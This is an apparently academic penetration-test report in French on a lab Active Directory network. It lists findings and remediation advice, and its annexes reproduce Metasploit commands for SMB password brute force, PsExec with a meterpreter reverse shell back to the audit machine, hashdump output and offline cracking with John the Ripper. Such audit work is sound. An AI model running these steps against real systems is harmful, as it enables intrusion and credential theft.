Projet ASRdE : Rapport d'Audit de Sécurité

https://github.com/SICROMONOCO/Project-ASRdE

Préparé par : BILAL SIKI, MOHAMED AIT BELLA

13 Avril 2026
Version : 1.1

Table des matières

1 Résumé Exécutif **2**

2 Périmètre et Méthodologie de l'Audit **2**
2.1 Périmètre 2
2.2 Méthodologie et Outils 2

3 Classification de l'Évaluation des Risques **2**

4 Constatations Détaillées **3**
4.1 Constatation 1 : Identifiants administratifs faibles et compromission SMB . 3
4.2 Constatation 2 : Exécution de code à distance (PsExec) et extraction de hachages 3
4.3 Constatation 3 : Vulnérabilités OpenSSH (Exécution de code à distance possible) 4
4.4 Constatation 4 : Mots de passe utilisateurs Active Directory faibles 4

5 Recommandations et Conclusion **4**
5.1 Plan d'action à court terme 4
5.2 Stratégie à long terme 5
5.3 Conclusion 5

6 Annexes **6**
6.1 Annexe A : Fichiers logs bruts d'énumération (Phase 1) 6
6.2 Annexe B : Rapport d'Analyse de Vulnérabilités (Nessus - Phase 2) 7
6.3 Annexe C : Exploitation et Post-Exploitation (Phases 3 et 4) 7

1 Résumé Exécutif

Objectif : Évaluer le niveau de sécurité des systèmes cibles dans le cadre du projet ASRdE (réseau 192.168.1.0/24).

Principales constatations : L'audit a révélé des failles critiques compromettant l'intégrité de l'infrastructure. Une attaque par force brute a permis d'obtenir les accès d'un compte administrateur (*admin-audit*), menant à une compromission totale du contrôleur de domaine / serveur principal (192.168.1.10) via l'exécution de code à distance (PsExec) et l'extraction des empreintes de mots de passe (hashdump). De plus, des mots de passe utilisateurs extrêmement faibles ont pu être cassés hors ligne. Des vulnérabilités liées à des services obsolètes (OpenSSH) ont également été identifiées sur d'autres hôtes.

Posture globale : L'infrastructure présente un niveau de sécurité insuffisant face aux attaques internes ou aux mouvements latéraux. Des mesures de remédiation immédiates concernant la politique de mots de passe et la gestion des accès à privilèges sont requises.

2 Périmètre et Méthodologie de l'Audit

2.1 Périmètre

- **Plage IP cible :** 192.168.1.0/24
- **Hôtes découverts :** 192.168.1.1, 192.168.1.10 (Windows Server AD), 192.168.1.20, 192.168.1.100 (Ubuntu Serveur Service FTP), (Station Employée-01 Inclue dans AD)192.168.1.50, (Machine D'Audit Kali-Linux)192.168.1.101.
- **Services ciblés :** FTP, HTTP, SMB, RDP, SSH.

2.2 Méthodologie et Outils

L'audit a été mené selon une approche de test d'intrusion standard (reconnaissance, analyse de vulnérabilités, exploitation, post-exploitation) :

- **Nmap & Enum4linux :** Découverte d'hôtes, détection de versions et énumération des services (notamment SMB).
- **Nessus :** Analyse de vulnérabilités réseau.
- **Metasploit Framework :** Exploitation (Force brute SMB) et mouvements latéraux (PsExec).
- **John the Ripper :** Cassage de mots de passe hors ligne.

3 Classification de l'Évaluation des Risques

- **Critique :** Menace immédiate. L'exploitation est triviale et conduit à une compromission totale du système ou du domaine.
- **Élevé :** Menace significative. Peut conduire à la compromission de données sensibles ou à un contrôle partiel du système.
- **Moyen :** Menace modérée. Peut être combinée avec d'autres vulnérabilités ou nécessite des conditions spécifiques.
- **Faible :** Menace minimale. Constatations informatives ou écarts par rapport aux bonnes pratiques.

4 Constatations Détaillées

4.1 Constatation 1 : Identifiants administratifs faibles et compromission SMB

- **Niveau de gravité :** Critique
- **Cible / Actif :** 192.168.1.10 (Windows Server - Service SMB)
- **Description :** Une attaque par force brute sur le service SMB a permis de découvrir le mot de passe du compte administrateur *admin-audit*. Le mot de passe utilisé (*P@ssword2026 !*) a été trouvé dans un dictionnaire restreint, démontrant une politique de mots de passe inefficace.
- **Impact métier :** L'accès à ce compte permet à un attaquant de s'authentifier sur le serveur avec des privilèges élevés, ouvrant la voie à une compromission totale du système.
- **Preuve / Données d'audit :**
```
[*] 192.168.1.10:445 - Starting SMB login bruteforce
...
[+] 192.168.1.10:445 - Success: '.\admin-audit:P@ssword2026!' Administrator
```
- **Recommandation de remédiation :** Implémenter une politique de mots de passe robuste (complexité, longueur minimale). Configurer le verrouillage des comptes (Account Lockout Policy) après plusieurs tentatives de connexion échouées.

4.2 Constatation 2 : Exécution de code à distance (PsExec) et extraction de hachages

- **Niveau de gravité :** Critique
- **Cible / Actif :** 192.168.1.10 (Windows Server)
- **Description :** Suite à l'obtention des identifiants (Constatation 1), l'outil PsExec a été utilisé pour obtenir une session *Meterpreter* avec les droits *NT AUTHORITY\SYSTEM*. L'attaquant a pu extraire la base de données SAM/NTDS contenant les hachages de mots de passe de tous les utilisateurs du domaine (Administrateur, Employee1, etc.).
- **Impact métier :** Compromission totale du domaine Active Directory. L'attaquant détient le contrôle absolu sur le serveur, peut créer des portes dérobées, exfiltrer des données ou compromettre d'autres machines du réseau.
- **Preuve / Données d'audit :**
```
[*] Meterpreter session 1 opened
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > hashdump
Administrator:500:aad3b...:fbcfd4...:::
Employee1:1106:aad3b...:2b576a...:::
```
- **Recommandation de remédiation :** Restreindre l'utilisation des comptes administrateurs réseau via SMB/PsExec (tiering Active Directory). Mettre en place une journalisation stricte des événements de sécurité (Event ID 4624, création de services) et utiliser une solution EDR pour bloquer les comportements malveillants de type PsExec.

4.3 Constatation 3 : Vulnérabilités OpenSSH (Exécution de code à distance possible)

- **Niveau de gravité :** Élevé
- **Cible / Actif :** 192.168.1.20
- **Description :** L'analyse Nessus a identifié une version obsolète d'OpenSSH (< 9.8) présentant plusieurs vulnérabilités, dont une faille permettant potentiellement l'exécution de code à distance (RCE - CVSS 8.1), ainsi que des failles de type Man-in-the-Middle et Déni de Service (DoS).
- **Impact métier :** L'exploitation de cette faille pourrait permettre à un attaquant non authentifié de prendre le contrôle du serveur Linux cible, entraînant une fuite de données ou l'utilisation du serveur comme rebond.
- **Preuve / Données d'audit :** Extrait du rapport Nessus : *High Severity (CVSS 8.1) - OpenSSH < 9.8 RCE.*
- **Recommandation de remédiation :** Mettre à jour immédiatement le paquet OpenSSH vers la dernière version stable distribuée par l'éditeur du système d'exploitation.

4.4 Constatation 4 : Mots de passe utilisateurs Active Directory faibles

- **Niveau de gravité :** Élevé
- **Cible / Actif :** Comptes utilisateurs du domaine (ex : Employee1)
- **Description :** Les hachages extraits lors de la phase de post-exploitation ont été soumis à une attaque par dictionnaire hors ligne (John the Ripper). Le mot de passe de l'utilisateur *Employee1* a été cassé instantanément.
- **Impact métier :** Les utilisateurs ayant des mots de passe faibles (ex : *Password123!*) sont des cibles de choix pour les attaques de type *Password Spraying.*
- **Preuve / Données d'audit :**
  ```
  Employee1:Password123!:1106:aad3b4...:2b576ac.....:::
  1 password hash cracked, 0 left
  ```
- **Recommandation de remédiation :** Forcer la réinitialisation des mots de passe pour l'ensemble des utilisateurs. Déployer des filtres de mots de passe pour interdire l'usage de mots de passe compromis ou évidents.

5 Recommandations et Conclusion

5.1 Plan d'action à court terme

- **Changement de mots de passe :** Modifier immédiatement les mots de passe de tous les comptes administrateurs (*admin-audit*, *Administrator*) et utilisateurs (*Employee1*).
- **Mise à jour :** Appliquer les correctifs de sécurité sur le serveur 192.168.1.20 (mise à jour OpenSSH).
- **Verrouillage des comptes :** Activer la politique de verrouillage des comptes Windows après 5 tentatives échouées pour stopper les attaques par force brute.

5.2 Stratégie à long terme

- **Authentification Multi-Facteurs (MFA) :** Déployer le MFA pour tous les accès critiques (RDP, VPN, SSH).
- **Moindre Privilège :** Réviser les droits du compte *admin-audit* et limiter son usage au strict nécessaire.
- **Surveillance (SOC/SIEM) :** Implémenter une journalisation centralisée pour détecter rapidement l'énumération SMB ou la création de services suspects (PsExec).

5.3 Conclusion

Cet audit a mis en évidence une réalité critique : la sécurité d'une infrastructure ne se limite pas à sa barrière périmétrique. Bien que le réseau soit segmenté, la fragilité des politiques d'authentification et l'utilisation de protocoles obsolètes comme le FTP transforment un simple accès local en une clé vers l'entreprise : l'Active Directory.

La réussite de cette simulation prouve qu'une posture proactive est indispensable. En appliquant les mesures de **Hardening** préconisées—notamment la segmentation par VLANs et le déploiement de politiques GPO strictes—l'organisation pourra atteindre cet équilibre vital entre une sécurité robuste (Intégrité/Confidentialité) et la fluidité opérationnelle nécessaire aux employés (Disponibilité).

6 Annexes

6.1 Annexe A : Fichiers logs bruts d'énumération (Phase 1)

A.1 - Découverte des hôtes et versionnage des services (Nmap)

```
[4/04/26 2:55:07] (kalikali)-[~]
$ sudo nmap -sV -O -p 21,80,139,445,3389 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-04 14:55 EDT

Nmap scan report for pfSense.corp.local (192.168.1.1)
Host is up (0.0027s latency).
PORT     STATE    SERVICE       VERSION
21/tcp   filtered ftp
80/tcp   open     http          nginx
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
MAC Address: 00:0C:29:65:D5:AC (VMware)

Nmap scan report for 192.168.1.10
Host is up (0.0031s latency).
PORT     STATE  SERVICE       VERSION
21/tcp   closed ftp
80/tcp   closed http
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds?
3389/tcp closed ms-wbt-server
MAC Address: 00:0C:29:FA:D2:9A (VMware)
Running: Microsoft Windows 2016|2019

Nmap scan report for 192.168.1.20
Host is up (0.0024s latency).
PORT     STATE  SERVICE       VERSION
21/tcp   open   ftp           vsftpd 3.0.5
80/tcp   closed http
139/tcp  closed netbios-ssn
445/tcp  closed microsoft-ds
3389/tcp closed ms-wbt-server
MAC Address: 00:0C:29:40:29:52 (VMware)
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X

Nmap scan report for 192.168.1.50
Host is up (0.0011s latency).
PORT     STATE    SERVICE       VERSION
21/tcp   filtered ftp
...

Nmap scan report for 192.168.1.100
Host is up (0.0020s latency).
PORT     STATE  SERVICE       VERSION
21/tcp   open   ftp           vsftpd 3.0.5
...

Nmap done: 256 IP addresses (6 hosts up) scanned in 15.94 seconds
```

A.2 - Énumération des utilisateurs SMB (enum4linux)

```
[4/04/26 2:59:56] (kalikali)-[~]
$ enum4linux -U 192.168.1.10
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ )

 ==========================================( Target Information )==========================================
Target ........... 192.168.1.10
RID Range ........ 500-550,1000-1050
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 ============================( Enumerating Workgroup/Domain on 192.168.1.10 )============================
[+] Got domain/workgroup name: CORP
```

```
 ==================================( Session Check on 192.168.1.10 )==================================
[+] Server 192.168.1.10 allows sessions using username '', password ''

 ================================( Getting domain SID for 192.168.1.10 )================================
Domain Name: CORP
Domain Sid: S-1-5-21-3284509366-1660811556-837649189
[+] Host is part of a domain (not a workgroup)

enum4linux complete on Sat Apr  4 15:01:41 2026
```

6.2 Annexe B : Rapport d'Analyse de Vulnérabilités (Nessus - Phase 2)

Aperçu de l'analyse :
Nom : scan | **Type :** Advanced Scan (Brute-force activé)
Statut : Terminé | **Hôtes ciblés :** 2 (192.168.1.10, 192.168.1.20)

Vulnérabilités Identifiées (Extrait des résultats clés)

Sévérité	Nom de la Vulnérabilité	Famille	CVSS v3.0
Élevée	OpenSSH < 9.8 RCE	Misc.	8.1
Moyenne	OpenSSH < 9.9p2 MitM	Misc.	6.8
Moyenne	OpenSSH < 9.9p2 DoS	Misc.	5.9
Faible	OpenSSH < 10.0 DisableForwarding	Misc.	3.8
Faible	ICMP Timestamp Request Remote Date Disclosure	General	2.1

Observations Nessus : L'échec de l'authentification (credentialed checks) limite la visibilité complète de la surface d'attaque interne. La cible `192.168.1.20` présente un service OpenSSH hautement vulnérable nécessitant un correctif immédiat.

6.3 Annexe C : Exploitation et Post-Exploitation (Phases 3 et 4)

C.1 - Attaque par force brute SMB via Metasploit

```
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.1.10
msf auxiliary(scanner/smb/smb_login) > set SMBUser admin-audit
msf auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/kali/Desktop/Reduced_Wordlist.txt
msf auxiliary(scanner/smb/smb_login) > run

[*] 192.168.1.10:445      - 192.168.1.10:445 - Starting SMB login bruteforce
[-] 192.168.1.10:445      - 192.168.1.10:445 - Failed: '.\admin-audit:123456',
[-] 192.168.1.10:445      - 192.168.1.10:445 - Failed: '.\admin-audit:password',
... [Plusieurs tentatives échouées masquées pour la lisibilité] ...
[-] 192.168.1.10:445      - 192.168.1.10:445 - Failed: '.\admin-audit:rainbow',
[+] 192.168.1.10:445      - 192.168.1.10:445 - Success: '.\admin-audit:P@ssword2026!' Administrator
[*] Bruteforce completed, 1 credential was successful.
```

C.2 - Mouvement latéral et exécution de code (PsExec)

```
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set RHOSTS 192.168.1.10
msf exploit(windows/smb/psexec) > set SMBDomain CORP
msf exploit(windows/smb/psexec) > set SMBUser admin-audit
msf exploit(windows/smb/psexec) > set SMBPass P@ssword2026!
msf exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/psexec) > exploit
```

```
[*] Started reverse TCP handler on 192.168.1.101:4444
[*] 192.168.1.10:445 - Authenticating to 192.168.1.10:445|CORP as user 'admin-audit'...
[*] 192.168.1.10:445 - Executing the payload...
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.10:50529)

meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbcfd43dfda21ef615975ab1da3d8e28:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fd35e27d3f95078c90725ef0e25ef4db:::
admin-audit:1000:aad3b435b51404eeaad3b435b51404ee:fbcfd43dfda21ef615975ab1da3d8e28:::
Employee1:1106:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
```

C.3 - Cassage de mots de passe hors ligne (John the Ripper)

```
(kalikali)-[~/Desktop]
$ sudo john --format=NT --wordlist=Reduced_Wordlist.txt Extracted_hash
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 512/512 AVX512BW 16x3])
Password123!     (Employee1)
1g 0:00:00:00 DONE (2026-04-04 16:02) 33.33g/s 6733p/s 6733c/s 5050C/s 123456..september

(kalikali)-[~/Desktop]
$ john --show --format=NT Extracted_hash
Employee1:Password123!:1106:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

1 password hash cracked, 0 left
```